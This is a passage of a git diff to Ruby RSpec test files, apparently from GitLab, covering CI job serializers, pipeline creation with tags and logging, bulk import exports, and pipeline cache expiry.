- let(:user) { create(:user) }
- let(:job) { create(:ci_build) }
- let(:project) { job.project }
- let(:request) { double('request') }
-
- before do
- stub_not_protect_default_branch
- allow(request).to receive(:current_user).and_return(user)
-
- project.add_developer(user)
- end
-
- let(:entity) do
- described_class.new(job, request: request)
- end
-
- subject { entity.as_json }
-
- it 'contains complete to indicate if a pipeline is completed' do
- expect(subject).to include(:complete)
- end
-
- it 'contains paths to job page action' do
- expect(subject).to include(:build_path)
- end
-
- it 'does not contain sensitive information' do
- expect(subject).not_to include(/token/)
- expect(subject).not_to include(/variables/)
- end
-
- it 'contains whether it is playable' do
- expect(subject[:playable]).to eq job.playable?
- end
-
- it 'contains timestamps' do
- expect(subject).to include(:created_at, :updated_at)
- end
-
- it 'contains details' do
- expect(subject).to include :status
- expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
- end
-
- context 'when job is retryable' do
- before do
- job.update!(status: :failed)
- end
-
- it 'contains cancel path' do
- expect(subject).to include(:retry_path)
- end
- end
-
- context 'when job is cancelable' do
- before do
- job.update!(status: :running)
- end
-
- it 'contains cancel path' do
- expect(subject).to include(:cancel_path)
- end
- end
-
- context 'when job is a regular job' do
- it 'does not contain path to play action' do
- expect(subject).not_to include(:play_path)
- end
-
- it 'is not a playable build' do
- expect(subject[:playable]).to be false
- end
- end
-
- context 'when job is a manual action' do
- let(:job) { create(:ci_build, :manual) }
-
- context 'when user is allowed to trigger action' do
- before do
- project.add_developer(user)
-
- create(:protected_branch, :developers_can_merge,
- name: job.ref, project: job.project)
- end
-
- it 'contains path to play action' do
- expect(subject).to include(:play_path)
- end
-
- it 'is a playable action' do
- expect(subject[:playable]).to be true
- end
- end
-
- context 'when user is not allowed to trigger action' do
- before do
- allow(job.project).to receive(:empty_repo?).and_return(false)
-
- create(:protected_branch, :no_one_can_push,
- name: job.ref, project: job.project)
- end
-
- it 'does not contain path to play action' do
- expect(subject).not_to include(:play_path)
- end
-
- it 'is not a playable action' do
- expect(subject[:playable]).to be false
- end
- end
- end
-
- context 'when job is scheduled' do
- let(:job) { create(:ci_build, :scheduled) }
-
- it 'contains path to unschedule action' do
- expect(subject).to include(:unschedule_path)
- end
-
- it 'contains scheduled_at' do
- expect(subject[:scheduled]).to be_truthy
- expect(subject[:scheduled_at]).to eq(job.scheduled_at)
- end
- end
-
- context 'when job is generic commit status' do
- let(:job) { create(:generic_commit_status, target_url: 'http://google.com') }
-
- it 'contains paths to target action' do
- expect(subject).to include(:build_path)
- end
-
- it 'does not contain paths to other action paths' do
- expect(subject).not_to include(:retry_path, :cancel_path, :play_path)
- end
-
- it 'contains timestamps' do
- expect(subject).to include(:created_at, :updated_at)
- end
-
- it 'contains details' do
- expect(subject).to include :status
- expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
- end
- end
-
- context 'when job failed' do
- let(:job) { create(:ci_build, :api_failure) }
-
- it 'contains details' do
- expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
- end
-
- it 'states that it failed' do
- expect(subject[:status][:label]).to eq(s_('CiStatusLabel|failed'))
- end
-
- it 'indicates the failure reason on tooltip' do
- expect(subject[:status][:tooltip]).to eq("#{s_('CiStatusLabel|failed')} - (API failure)")
- end
-
- it 'includes a callout message with a verbose output' do
- expect(subject[:callout_message]).to eq('There has been an API failure, please try again')
- end
-
- it 'states that it is not recoverable' do
- expect(subject[:recoverable]).to be_truthy
- end
- end
-
- context 'when job is allowed to fail' do
- let(:job) { create(:ci_build, :allowed_to_fail, :api_failure) }
-
- it 'contains details' do
- expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
- end
-
- it 'states that it failed' do
- expect(subject[:status][:label]).to eq('failed (allowed to fail)')
- end
-
- it 'indicates the failure reason on tooltip' do
- expect(subject[:status][:tooltip]).to eq("#{s_('CiStatusLabel|failed')} - (API failure) (allowed to fail)")
- end
-
- it 'includes a callout message with a verbose output' do
- expect(subject[:callout_message]).to eq('There has been an API failure, please try again')
- end
-
- it 'states that it is not recoverable' do
- expect(subject[:recoverable]).to be_truthy
- end
- end
-
- context 'when the job failed with a script failure' do
- let(:job) { create(:ci_build, :failed, :script_failure) }
-
- it 'does not include callout message or recoverable keys' do
- expect(subject).not_to include('callout_message')
- expect(subject).not_to include('recoverable')
- end
- end
-
- context 'when job failed and is recoverable' do
- let(:job) { create(:ci_build, :api_failure) }
-
- it 'states it is recoverable' do
- expect(subject[:recoverable]).to be_truthy
- end
- end
-
- context 'when job passed' do
- let(:job) { create(:ci_build, :success) }
-
- it 'does not include callout message or recoverable keys' do
- expect(subject).not_to include('callout_message')
- expect(subject).not_to include('recoverable')
- end
- end
-
- context 'when job is a bridge' do
- let(:job) { create(:ci_bridge) }
-
- it 'does not include build path' do
- expect(subject).not_to include(:build_path)
- end
-
- it 'does not include cancel path' do
- expect(subject).not_to include(:cancel_path)
- end
- end
-end
diff --git a/spec/serializers/merge_request_widget_entity_spec.rb b/spec/serializers/merge_request_widget_entity_spec.rb
index 3e0c61a26c0..1712df6266c 100644
--- a/spec/serializers/merge_request_widget_entity_spec.rb
+++ b/spec/serializers/merge_request_widget_entity_spec.rb
@@ -252,7 +252,7 @@ RSpec.describe MergeRequestWidgetEntity do
subject { described_class.new(resource, request: request).as_json }
it 'provides a valid path value for user callout path' do
- expect(subject[:user_callouts_path]).to eq '/-/user_callouts'
+ expect(subject[:user_callouts_path]).to eq '/-/users/callouts'
end
it 'provides a valid value for suggest pipeline feature id' do
@@ -362,7 +362,7 @@ RSpec.describe MergeRequestWidgetEntity do
context 'when suggest pipeline has been dismissed' do
before do
- create(:user_callout, user: user, feature_name: described_class::SUGGEST_PIPELINE)
+ create(:callout, user: user, feature_name: described_class::SUGGEST_PIPELINE)
end
it 'is true' do
diff --git a/spec/serializers/merge_requests/pipeline_entity_spec.rb b/spec/serializers/merge_requests/pipeline_entity_spec.rb
index 6970b547f12..ee99ab2e7dd 100644
--- a/spec/serializers/merge_requests/pipeline_entity_spec.rb
+++ b/spec/serializers/merge_requests/pipeline_entity_spec.rb
@@ -14,6 +14,7 @@ RSpec.describe MergeRequests::PipelineEntity do
allow(request).to receive(:current_user).and_return(user)
allow(request).to receive(:project).and_return(project)
+ allow(pipeline).to receive(:coverage).and_return(35.0)
end
let(:entity) do
@@ -35,6 +36,10 @@ RSpec.describe MergeRequests::PipelineEntity do
expect(subject[:flags]).to include(:merge_request_pipeline)
end
+ it 'returns presented coverage' do
+ expect(subject[:coverage]).to eq('35.00')
+ end
+
it 'excludes coverage data when disabled' do
entity = described_class
.represent(pipeline, request: request, disable_coverage: true)
diff --git a/spec/services/admin/propagate_integration_service_spec.rb b/spec/services/admin/propagate_integration_service_spec.rb
deleted file mode 100644
index b379286ba4f..00000000000
--- a/spec/services/admin/propagate_integration_service_spec.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Admin::PropagateIntegrationService do
- describe '.propagate' do
- include JiraServiceHelper
-
- before do
- stub_jira_integration_test
- end
-
- let(:group) { create(:group) }
-
- let_it_be(:project) { create(:project) }
- let_it_be(:instance_integration) { create(:jira_integration, :instance) }
- let_it_be(:not_inherited_integration) { create(:jira_integration, project: project) }
- let_it_be(:inherited_integration) do
- create(:jira_integration, project: create(:project), inherit_from_id: instance_integration.id)
- end
-
- let_it_be(:different_type_inherited_integration) do
- create(:redmine_integration, project: project, inherit_from_id: instance_integration.id)
- end
-
- context 'with inherited integration' do
- let(:integration) { inherited_integration }
-
- it 'calls to PropagateIntegrationProjectWorker' do
- expect(PropagateIntegrationInheritWorker).to receive(:perform_async)
- .with(instance_integration.id, inherited_integration.id, inherited_integration.id)
-
- described_class.propagate(instance_integration)
- end
- end
-
- context 'with a project without integration' do
- let(:another_project) { create(:project) }
-
- it 'calls to PropagateIntegrationProjectWorker' do
- expect(PropagateIntegrationProjectWorker).to receive(:perform_async)
- .with(instance_integration.id, another_project.id, another_project.id)
-
- described_class.propagate(instance_integration)
- end
- end
-
- context 'with a group without integration' do
- it 'calls to PropagateIntegrationProjectWorker' do
- expect(PropagateIntegrationGroupWorker).to receive(:perform_async)
- .with(instance_integration.id, group.id, group.id)
-
- described_class.propagate(instance_integration)
- end
- end
-
- context 'for a group-level integration' do
- let(:group_integration) { create(:jira_integration, :group, group: group) }
-
- context 'with a project without integration' do
- let(:another_project) { create(:project, group: group) }
-
- it 'calls to PropagateIntegrationProjectWorker' do
- expect(PropagateIntegrationProjectWorker).to receive(:perform_async)
- .with(group_integration.id, another_project.id, another_project.id)
-
- described_class.propagate(group_integration)
- end
- end
-
- context 'with a subgroup without integration' do
- let(:subgroup) { create(:group, parent: group) }
-
- it 'calls to PropagateIntegrationGroupWorker' do
- expect(PropagateIntegrationGroupWorker).to receive(:perform_async)
- .with(group_integration.id, subgroup.id, subgroup.id)
-
- described_class.propagate(group_integration)
- end
- end
-
- context 'with a subgroup with integration' do
- let(:subgroup) { create(:group, parent: group) }
- let(:subgroup_integration) { create(:jira_integration, :group, group: subgroup, inherit_from_id: group_integration.id) }
-
- it 'calls to PropagateIntegrationInheritDescendantWorker' do
- expect(PropagateIntegrationInheritDescendantWorker).to receive(:perform_async)
- .with(group_integration.id, subgroup_integration.id, subgroup_integration.id)
-
- described_class.propagate(group_integration)
- end
- end
- end
- end
-end
diff --git a/spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb b/spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb
index 8a53d9fbf7c..c6b184bd003 100644
--- a/spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb
+++ b/spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb
@@ -59,7 +59,9 @@ RSpec.describe AuthorizedProjectUpdate::FindRecordsDueForRefreshService do
.create!(project: project2, access_level: Gitlab::Access::MAINTAINER)
to_be_removed = [project2.id]
- to_be_added = [[user.id, project.id, Gitlab::Access::MAINTAINER]]
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
expect(service.execute).to eq([to_be_removed, to_be_added])
end
@@ -70,7 +72,9 @@ RSpec.describe AuthorizedProjectUpdate::FindRecordsDueForRefreshService do
end
to_be_removed = [project.id]
- to_be_added = [[user.id, project.id, Gitlab::Access::MAINTAINER]]
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
expect(service.execute).to eq([to_be_removed, to_be_added])
end
@@ -80,7 +84,9 @@ RSpec.describe AuthorizedProjectUpdate::FindRecordsDueForRefreshService do
.create!(project: project, access_level: Gitlab::Access::DEVELOPER)
to_be_removed = [project.id]
- to_be_added = [[user.id, project.id, Gitlab::Access::MAINTAINER]]
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
expect(service.execute).to eq([to_be_removed, to_be_added])
end
diff --git a/spec/services/bulk_imports/tree_export_service_spec.rb b/spec/services/bulk_imports/tree_export_service_spec.rb
index f2ed747b64e..ffb81fe2b5f 100644
--- a/spec/services/bulk_imports/tree_export_service_spec.rb
+++ b/spec/services/bulk_imports/tree_export_service_spec.rb
@@ -5,7 +5,8 @@ require 'spec_helper'
RSpec.describe BulkImports::TreeExportService do
let_it_be(:project) { create(:project) }
let_it_be(:export_path) { Dir.mktmpdir }
- let_it_be(:relation) { 'issues' }
+
+ let(:relation) { 'issues' }
subject(:service) { described_class.new(project, export_path, relation) }
@@ -25,11 +26,31 @@ RSpec.describe BulkImports::TreeExportService do
expect { service.execute }.to raise_error(BulkImports::Error, 'Unsupported relation export type')
end
end
+
+ context 'when relation is self' do
+ let(:relation) { 'self' }
+
+ it 'executes export on portable itself' do
+ expect_next_instance_of(Gitlab::ImportExport::Json::StreamingSerializer) do |serializer|
+ expect(serializer).to receive(:serialize_root)
+ end
+
+ subject.execute
+ end
+ end
end
describe '#exported_filename' do
it 'returns filename of the exported file' do
expect(subject.exported_filename).to eq('issues.ndjson')
end
+
+ context 'when relation is self' do
+ let(:relation) { 'self' }
+
+ it 'returns filename of the exported file' do
+ expect(subject.exported_filename).to eq('self.json')
+ end
+ end
end
end
diff --git a/spec/services/bulk_imports/uploads_export_service_spec.rb b/spec/services/bulk_imports/uploads_export_service_spec.rb
new file mode 100644
index 00000000000..39bcacfdc5e
--- /dev/null
+++ b/spec/services/bulk_imports/uploads_export_service_spec.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::UploadsExportService do
+ let_it_be(:project) { create(:project, avatar: fixture_file_upload('spec/fixtures/rails_sample.png', 'image/png')) }
+ let_it_be(:upload) { create(:upload, :with_file, :issuable_upload, uploader: FileUploader, model: project) }
+ let_it_be(:export_path) { Dir.mktmpdir }
+
+ subject(:service) { described_class.new(project, export_path) }
+
+ after do
+ FileUtils.remove_entry(export_path) if Dir.exist?(export_path)
+ end
+
+ describe '#execute' do
+ it 'exports project uploads and avatar' do
+ subject.execute
+
+ expect(File.exist?(File.join(export_path, 'avatar', 'rails_sample.png'))).to eq(true)
+ expect(File.exist?(File.join(export_path, upload.secret, upload.retrieve_uploader.filename))).to eq(true)
+ end
+ end
+end
diff --git a/spec/services/ci/create_pipeline_service/logger_spec.rb b/spec/services/ci/create_pipeline_service/logger_spec.rb
new file mode 100644
index 00000000000..dfe0859015d
--- /dev/null
+++ b/spec/services/ci/create_pipeline_service/logger_spec.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::CreatePipelineService do
+ context 'pipeline logger' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { project.owner }
+
+ let(:ref) { 'refs/heads/master' }
+ let(:service) { described_class.new(project, user, { ref: ref }) }
+ let(:pipeline) { service.execute(:push).payload }
+ let(:file_location) { 'spec/fixtures/gitlab/ci/external_files/.gitlab-ci-template-1.yml' }
+
+ before do
+ stub_ci_pipeline_yaml_file(gitlab_ci_yaml)
+ end
+
+ let(:counters) do
+ {
+ 'count' => a_kind_of(Numeric),
+ 'avg' => a_kind_of(Numeric),
+ 'max' => a_kind_of(Numeric),
+ 'min' => a_kind_of(Numeric)
+ }
+ end
+
+ let(:loggable_data) do
+ {
+ 'pipeline_creation_caller' => 'Ci::CreatePipelineService',
+ 'pipeline_source' => 'push',
+ 'pipeline_id' => a_kind_of(Numeric),
+ 'pipeline_persisted' => true,
+ 'project_id' => project.id,
+ 'pipeline_creation_service_duration_s' => a_kind_of(Numeric),
+ 'pipeline_creation_duration_s' => counters,
+ 'pipeline_size_count' => counters,
+ 'pipeline_step_gitlab_ci_pipeline_chain_seed_duration_s' => counters
+ }
+ end
+
+ context 'when the duration is under the threshold' do
+ it 'does not create a log entry but it collects the data' do
+ expect(Gitlab::AppJsonLogger).not_to receive(:info)
+ expect(pipeline).to be_created_successfully
+
+ expect(service.logger.observations_hash)
+ .to match(
+ a_hash_including(
+ 'pipeline_creation_duration_s' => counters,
+ 'pipeline_size_count' => counters,
+ 'pipeline_step_gitlab_ci_pipeline_chain_seed_duration_s' => counters
+ )
+ )
+ end
+ end
+
+ context 'when the durations exceeds the threshold' do
+ let(:timer) do
+ proc do
+ @timer = @timer.to_i + 30
+ end
+ end
+
+ before do
+ allow(Gitlab::Ci::Pipeline::Logger)
+ .to receive(:current_monotonic_time) { timer.call }
+ end
+
+ it 'creates a log entry' do
+ expect(Gitlab::AppJsonLogger)
+ .to receive(:info)
+ .with(a_hash_including(loggable_data))
+ .and_call_original
+
+ expect(pipeline).to be_created_successfully
+ end
+
+ context 'when the pipeline is not persisted' do
+ let(:loggable_data) do
+ {
+ 'pipeline_creation_caller' => 'Ci::CreatePipelineService',
+ 'pipeline_source' => 'push',
+ 'pipeline_id' => nil,
+ 'pipeline_persisted' => false,
+ 'project_id' => project.id,
+ 'pipeline_creation_service_duration_s' => a_kind_of(Numeric),
+ 'pipeline_step_gitlab_ci_pipeline_chain_seed_duration_s' => counters
+ }
+ end
+
+ before do
+ allow_next_instance_of(Ci::Pipeline) do |pipeline|
+ expect(pipeline).to receive(:save!).and_raise { RuntimeError }
+ end
+ end
+
+ it 'creates a log entry' do
+ expect(Gitlab::AppJsonLogger)
+ .to receive(:info)
+ .with(a_hash_including(loggable_data))
+ .and_call_original
+
+ expect { pipeline }.to raise_error(RuntimeError)
+ end
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(ci_pipeline_creation_logger: false)
+ end
+
+ it 'does not create a log entry' do
+ expect(Gitlab::AppJsonLogger).not_to receive(:info)
+
+ expect(pipeline).to be_created_successfully
+ expect(service.logger.observations_hash).to eq({})
+ end
+ end
+ end
+
+ context 'when the size exceeds the threshold' do
+ before do
+ allow_next_instance_of(Ci::Pipeline) do |pipeline|
+ allow(pipeline).to receive(:total_size) { 5000 }
+ end
+ end
+
+ it 'creates a log entry' do
+ expect(Gitlab::AppJsonLogger)
+ .to receive(:info)
+ .with(a_hash_including(loggable_data))
+ .and_call_original
+
+ expect(pipeline).to be_created_successfully
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/create_pipeline_service/tags_spec.rb b/spec/services/ci/create_pipeline_service/tags_spec.rb
index 335d35010c8..cbbeb870c5f 100644
--- a/spec/services/ci/create_pipeline_service/tags_spec.rb
+++ b/spec/services/ci/create_pipeline_service/tags_spec.rb
@@ -7,16 +7,15 @@ RSpec.describe Ci::CreatePipelineService do
let_it_be(:user) { project.owner }
let(:ref) { 'refs/heads/master' }
- let(:source) { :push }
let(:service) { described_class.new(project, user, { ref: ref }) }
- let(:pipeline) { service.execute(source).payload }
+ let(:pipeline) { create_pipeline }
before do
- stub_ci_pipeline_yaml_file(config)
+ stub_yaml_config(config)
end
context 'with valid config' do
- let(:config) { YAML.dump({ test: { script: 'ls', tags: %w[tag1 tag2] } }) }
+ let(:config) { { test: { script: 'ls', tags: %w[tag1 tag2] } } }
it 'creates a pipeline', :aggregate_failures do
expect(pipeline).to be_created_successfully
@@ -25,8 +24,8 @@ RSpec.describe Ci::CreatePipelineService do
end
context 'with too many tags' do
- let(:tags) { Array.new(50) {|i| "tag-#{i}" } }
- let(:config) { YAML.dump({ test: { script: 'ls', tags: tags } }) }
+ let(:tags) { build_tag_list(label: 'custom', size: 50) }
+ let(:config) { { test: { script: 'ls', tags: tags } } }
it 'creates a pipeline without builds', :aggregate_failures do
expect(pipeline).not_to be_created_successfully
@@ -34,5 +33,167 @@ RSpec.describe Ci::CreatePipelineService do
expect(pipeline.yaml_errors).to eq("jobs:test:tags config must be less than the limit of #{Gitlab::Ci::Config::Entry::Tags::TAGS_LIMIT} tags")
end
end
+
+ context 'tags persistence' do
+ let(:config) do
+ {
+ build: {
+ script: 'ls',
+ stage: 'build',
+ tags: build_tag_list(label: 'build')
+ },
+ test: {
+ script: 'ls',
+ stage: 'test',
+ tags: build_tag_list(label: 'test')
+ }
+ }
+ end
+
+ let(:config_without_tags) do
+ config.transform_values { |job| job.except(:tags) }
+ end
+
+ context 'with multiple tags' do
+ context 'when the tags do not exist' do
+ it 'does not execute N+1 queries' do
+ stub_yaml_config(config_without_tags)
+
+ # warm up the cached objects so we get a more accurate count
+ create_pipeline
+
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ create_pipeline
+ end
+
+ stub_yaml_config(config)
+
+ # 2 select tags.*
+ # 1 insert tags
+ # 1 insert taggings
+ tags_queries_size = 4
+
+ expect { pipeline }
+ .not_to exceed_all_query_limit(control)
+ .with_threshold(tags_queries_size)
+
+ expect(pipeline).to be_created_successfully
+ end
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(ci_bulk_insert_tags: false)
+ end
+
+ it 'executes N+1s queries' do
+ stub_yaml_config(config_without_tags)
+
+ # warm up the cached objects so we get a more accurate count
+ create_pipeline
+
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ create_pipeline
+ end
+
+ stub_yaml_config(config)
+
+ expect { pipeline }
+ .to exceed_all_query_limit(control)
+ .with_threshold(4)
+
+ expect(pipeline).to be_created_successfully
+ end
+ end
+
+ context 'when tags are already persisted' do
+ it 'does not execute N+1 queries' do
+ # warm up the cached objects so we get a more accurate count
+ # and insert the tags
+ create_pipeline
+
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ create_pipeline
+ end
+
+ # 1 select tags.*
+ # 1 insert taggings
+ tags_queries_size = 2
+
+ expect { pipeline }
+ .not_to exceed_all_query_limit(control)
+ .with_threshold(tags_queries_size)
+
+ expect(pipeline).to be_created_successfully
+ end
+ end
+ end
+
+ context 'with bridge jobs' do
+ let(:config) do
+ {
+ test_1: {
+ script: 'ls',
+ stage: 'test',
+ tags: build_tag_list(label: 'test_1')
+ },
+ test_2: {
+ script: 'ls',
+ stage: 'test',
+ tags: build_tag_list(label: '$CI_JOB_NAME')
+ },
+ test_3: {
+ script: 'ls',
+ stage: 'test',
+ tags: build_tag_list(label: 'test_1') + build_tag_list(label: 'test_2')
+ },
+ test_4: {
+ script: 'ls',
+ stage: 'test'
+ },
+ deploy: {
+ stage: 'deploy',
+ trigger: 'my/project'
+ }
+ }
+ end
+
+ it do
+ expect(pipeline).to be_created_successfully
+ expect(pipeline.bridges.size).to eq(1)
+ expect(pipeline.builds.size).to eq(4)
+
+ expect(tags_for('test_1'))
+ .to have_attributes(count: 5)
+ .and all(match(/test_1-tag-\d+/))
+
+ expect(tags_for('test_2'))
+ .to have_attributes(count: 5)
+ .and all(match(/test_2-tag-\d+/))
+
+ expect(tags_for('test_3'))
+ .to have_attributes(count: 10)
+ .and all(match(/test_[1,2]-tag-\d+/))
+
+ expect(tags_for('test_4')).to be_empty
+ end
+ end
+ end
+ end
+
+ def tags_for(build_name)
+ pipeline.builds.find_by_name(build_name).tag_list
+ end
+
+ def stub_yaml_config(config)
+ stub_ci_pipeline_yaml_file(YAML.dump(config))
+ end
+
+ def create_pipeline
+ service.execute(:push).payload
+ end
+
+ def build_tag_list(label:, size: 5)
+ Array.new(size) { |index| "#{label}-tag-#{index}" }
end
end
diff --git a/spec/services/ci/create_pipeline_service_spec.rb b/spec/services/ci/create_pipeline_service_spec.rb
index c78e19ea62d..ef879d536c3 100644
--- a/spec/services/ci/create_pipeline_service_spec.rb
+++ b/spec/services/ci/create_pipeline_service_spec.rb
@@ -46,6 +46,47 @@ RSpec.describe Ci::CreatePipelineService do
end
# rubocop:enable Metrics/ParameterLists
+ context 'performance' do
+ it_behaves_like 'pipelines are created without N+1 SQL queries' do
+ let(:config1) do
+ <<~YAML
+ job1:
+ stage: build
+ script: exit 0
+
+ job2:
+ stage: test
+ script: exit 0
+ YAML
+ end
+
+ let(:config2) do
+ <<~YAML
+ job1:
+ stage: build
+ script: exit 0
+
+ job2:
+ stage: test
+ script: exit 0
+
+ job3:
+ stage: deploy
+ script: exit 0
+ YAML
+ end
+
+ let(:accepted_n_plus_ones) do
+ 1 + # SELECT "ci_instance_variables"
+ 1 + # INSERT INTO "ci_stages"
+ 1 + # SELECT "ci_builds".* FROM "ci_builds"
+ 1 + # INSERT INTO "ci_builds"
+ 1 + # INSERT INTO "ci_builds_metadata"
+ 1 # SELECT "taggings".* FROM "taggings"
+ end
+ end
+ end
+
context 'valid params' do
let(:pipeline) { execute_service.payload }
@@ -1951,6 +1992,75 @@ RSpec.describe Ci::CreatePipelineService do
let(:rules_job) { find_job('rules-job') }
let(:delayed_job) { find_job('delayed-job') }
+ context 'with when:manual' do
+ let(:config) do
+ <<-EOY
+ job-with-rules:
+ script: 'echo hey'
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+
+ job-when-with-rules:
+ script: 'echo hey'
+ when: manual
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+
+ job-when-with-rules-when:
+ script: 'echo hey'
+ when: manual
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ when: on_success
+
+ job-with-rules-when:
+ script: 'echo hey'
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ when: manual
+
+ job-without-rules:
+ script: 'echo this is a job with NO rules'
+ EOY
+ end
+
+ let(:job_with_rules) { find_job('job-with-rules') }
+ let(:job_when_with_rules) { find_job('job-when-with-rules') }
+ let(:job_when_with_rules_when) { find_job('job-when-with-rules-when') }
+ let(:job_with_rules_when) { find_job('job-with-rules-when') }
+ let(:job_without_rules) { find_job('job-without-rules') }
+
+ context 'when matching the rules' do
+ let(:ref_name) { 'refs/heads/master' }
+
+ it 'adds the job-with-rules with a when:manual' do
+ expect(job_with_rules).to be_persisted
+ expect(job_when_with_rules).to be_persisted
+ expect(job_when_with_rules_when).to be_persisted
+ expect(job_with_rules_when).to be_persisted
+ expect(job_without_rules).to be_persisted
+
+ expect(job_with_rules.when).to eq('on_success')
+ expect(job_when_with_rules.when).to eq('manual')
+ expect(job_when_with_rules_when.when).to eq('on_success')
+ expect(job_with_rules_when.when).to eq('manual')
+ expect(job_without_rules.when).to eq('on_success')
+ end
+ end
+
+ context 'when there is no match to the rule' do
+ let(:ref_name) { 'refs/heads/wip' }
+
+ it 'does not add job_with_rules' do
+ expect(job_with_rules).to be_nil
+ expect(job_when_with_rules).to be_nil
+ expect(job_when_with_rules_when).to be_nil
+ expect(job_with_rules_when).to be_nil
+ expect(job_without_rules).to be_persisted
+ end
+ end
+ end
+
shared_examples 'rules jobs are excluded' do
it 'only persists the job without rules' do
expect(pipeline).to be_persisted
diff --git a/spec/services/ci/expire_pipeline_cache_service_spec.rb b/spec/services/ci/expire_pipeline_cache_service_spec.rb
index 613bbe45e68..8cfe756faf3 100644
--- a/spec/services/ci/expire_pipeline_cache_service_spec.rb
+++ b/spec/services/ci/expire_pipeline_cache_service_spec.rb
@@ -16,14 +16,16 @@ RSpec.describe Ci::ExpirePipelineCacheService do
pipeline_path = "/#{project.full_path}/-/pipelines/#{pipeline.id}.json"
graphql_pipeline_path = "/api/graphql:pipelines/id/#{pipeline.id}"
graphql_pipeline_sha_path = "/api/graphql:pipelines/sha/#{pipeline.sha}"
+ graphql_project_on_demand_scan_counts_path = "/api/graphql:on_demand_scan/counts/#{project.full_path}"
- expect_next_instance_of(Gitlab::EtagCaching::Store) do |store|
- expect(store).to receive(:touch).with(pipelines_path)
- expect(store).to receive(:touch).with(new_mr_pipelines_path)
- expect(store).to receive(:touch).with(pipeline_path)
- expect(store).to receive(:touch).with(graphql_pipeline_path)
- expect(store).to receive(:touch).with(graphql_pipeline_sha_path)
- end
+ expect_touched_etag_caching_paths(
+ pipelines_path,
+ new_mr_pipelines_path,
+ pipeline_path,
+ graphql_pipeline_path,
+ graphql_pipeline_sha_path,
+ graphql_project_on_demand_scan_counts_path
+ )
subject.execute(pipeline)
end
@@ -35,9 +37,10 @@ RSpec.describe Ci::ExpirePipelineCacheService do
merge_request_pipelines_path = "/#{project.full_path}/-/merge_requests/#{merge_request.iid}/pipelines.json"
merge_request_widget_path = "/#{project.full_path}/-/merge_requests/#{merge_request.iid}/cached_widget.json"
- allow_any_instance_of(Gitlab::EtagCaching::Store).to receive(:touch)
- expect_any_instance_of(Gitlab::EtagCaching::Store).to receive(:touch).with(merge_request_pipelines_path)
- expect_any_instance_of(Gitlab::EtagCaching::Store).to receive(:touch).with(merge_request_widget_path)
+ expect_touched_etag_caching_paths(
+ merge_request_pipelines_path,
+ merge_request_widget_path
+ )
subject.execute(merge_request.all_pipelines.last)
end
@@ -76,10 +79,7 @@ RSpec.describe Ci::ExpirePipelineCacheService do
it 'updates the cache of dependent pipeline' do
dependent_pipeline_path = "/#{source.source_project.full_path}/-/pipelines/#{source.source_pipeline.id}.json"
- expect_next_instance_of(Gitlab::EtagCaching::Store) do |store|
- allow(store).to receive(:touch)
- expect(store).to receive(:touch).with(dependent_pipeline_path)
- end
+ expect_touched_etag_caching_paths(dependent_pipeline_path)
subject.execute(pipeline)
end
@@ -92,13 +92,31 @@ RSpec.describe Ci::ExpirePipelineCacheService do
it 'updates the cache of dependent pipeline' do
dependent_pipeline_path = "/#{source.project.full_path}/-/pipelines/#{source.pipeline.id}.json"
- expect_next_instance_of(Gitlab::EtagCaching::Store) do |store|
- allow(store).to receive(:touch)
- expect(store).to receive(:touch).with(dependent_pipeline_path)
- end
+ expect_touched_etag_caching_paths(dependent_pipeline_path)
subject.execute(pipeline)
end
end
+
+ it 'does not do N+1 queries' do
+ subject.execute(pipeline)
+
+ control = ActiveRecord::QueryRecorder.new { subject.execute(pipeline) }
+
+ create(:ci_sources_pipeline, pipeline: pipeline)
+ create(:ci_sources_pipeline, source_job: create(:ci_build, pipeline: pipeline))
+
+ expect { subject.execute(pipeline) }.not_to exceed_query_limit(control.count)
+ end
+ end
+
+ def expect_touched_etag_caching_paths(*paths)
+ expect_next_instance_of(Gitlab::EtagCaching::Store) do |store|
+ expect(store).to receive(:touch).and_wrap_original do |m, *args|
+ expect(args).to include(*paths)
+
+ m.call(*args)
+ end
+ end
end
end
diff --git a/spec/services/ci/generate_terraform_reports_service_spec.rb b/spec/services/ci/generate_terraform_reports_service_spec.rb
index c9ac74e050c..c32e8bcaeb8 100644
--- a/spec/services/ci/generate_terraform_reports_service_spec.rb
+++ b/spec/services/ci/generate_terraform_reports_service_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe Ci::GenerateTerraformReportsService do
'create' => 0,
'delete' => 0,
'update' => 1,
- 'job_name' => build.options.dig(:artifacts, :name).to_s
+ 'job_name' => build.name
))
),
key: an_instance_of(Array)
diff --git a/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb b/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
index 6761f052e18..e71f1a4266a 100644
